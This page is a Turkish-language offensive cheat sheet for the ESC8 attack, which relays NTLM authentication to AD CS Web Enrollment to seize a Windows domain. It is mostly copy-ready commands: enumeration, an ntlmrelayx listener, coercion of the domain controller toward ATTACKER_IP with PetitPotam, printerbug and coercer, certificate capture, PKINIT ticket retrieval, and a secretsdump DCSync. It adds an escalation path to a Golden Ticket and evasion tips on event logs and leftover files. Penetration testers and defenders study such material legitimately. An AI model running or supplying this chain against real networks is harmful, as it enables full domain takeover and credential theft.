Skip to content

ADCS — ESC8 (NTLM Relay to Web Enrollment)

ADCS · ESC8 domain takeover

ADCS · ESC8 domain takeover

ESC8, AD CS Web Enrollment arayüzünün (http://ca/certsrv/) NTLM kimlik doğrulamasını kabul etmesi ve HTTP’nin imzasız olmasından yararlanır. Bir makine hesabını (çoğu zaman DC) CA web ucuna kimlik doğrulamaya zorlayıp bu kimliği relay ederek kurban adına sertifika alırsınız. DC sertifikası → PKINIT → DCSync = domain ele geçirme.

- CA'da Web Enrollment (HTTP) açık
- EPA / channel binding yok veya zayıf (NTLM relay mümkün)
- Coercion veya LLMNR ile makine hesabı kimliği elde edilebilir
- Relay hedefi: http://<CA>/certsrv/ (HTTPS + EPA varsa zorlaşır)
Terminal window
certipy find -u user@domain.local -p pass -dc-ip 10.10.10.5 -vulnerable
Terminal window
curl -v http://ca.domain.local/certsrv/ # NTLM/401
Terminal window
nxc ldap DC -u user -p pass -M adcs

ADCS ESC8 · ntlmrelayx

embedded tool
Generated command
impacket-ntlmrelayx -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
  1. Relay dinleyicisini başlat

    Terminal window
    ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController
  2. DC’yi coerce et (Responder SMB/HTTP kapalı olmalı)

    Terminal window
    petitpotam.py -d domain.local -u user -p pass ATTACKER_IP DC_IP
    Terminal window
    printerbug.py 'domain/user:pass'@DC_IP ATTACKER_IP
    Terminal window
    coercer coerce -u user -p pass -d domain.local -t DC_IP -l ATTACKER_IP
  3. Sertifikayı yakala — ntlmrelayx base64 / .pfx ( DC$ için).

  4. PKINIT ile TGT + DCSync

    Terminal window
    certipy auth -pfx dc.pfx -dc-ip 10.10.10.5
    Terminal window
    gettgtpkinit.py -cert-pfx dc.pfx -pfx-pass '' domain.local/DC\$ dc.ccache
    Terminal window
    export KRB5CCNAME=dc.ccache
    Terminal window
    secretsdump.py -k -no-pass DC.domain.local
Terminal window
certipy relay -target http://ca.domain.local/certsrv/certfnsh.asp \
-template DomainController
DomainController → DC bilgisayar hesabı sertifikası (en değerlisi)
Machine → makine hesabı
User → kullanıcı (coercion ile user gelirse)

Coercion genelde makine hesabı (DC$) NTLM’i üretir; DomainController / Machine şablonu hedeflenir.

Terminal window
ntlmrelayx.py -t http://ca/certsrv/certfnsh.asp -smb2support --adcs \
--template DomainController
Terminal window
responder -I eth0 -wd

DC$ gelirse jackpot; rastgele makine/user gelirse o kimlikle cert alınır.

HTTPS + EPA / channel binding → relay kırılır
Web Enrollment kapalı → ESC8 yok; ESC1 vb. dene
Yanlış template → enrollment denied
Responder port çakışması → coercion auth saldırgana gitmez
DNS / CA adı yanlış → 404
ESC8 → DC$ sertifikası → PKINIT TGT → DCSync → krbtgt
→ Golden Ticket / tam domain kontrolü
ESC8 Machine cert → RBCD / lateral → daha yüksek hedef
□ 4624/4768 gürültüsü — kısa pencere
□ PetitPotam event'leri DC'de
□ PFX'i diskte bırakma; auth sonrası secretsdump
□ Responder'ı test bitince kapat
Terminal window
echo '<BASE64>' | base64 -d > dc.pfx
Terminal window
certipy auth -pfx dc.pfx -dc-ip 10.10.10.5 -outfile dc
Terminal window
openssl pkcs12 -info -in dc.pfx -passin pass: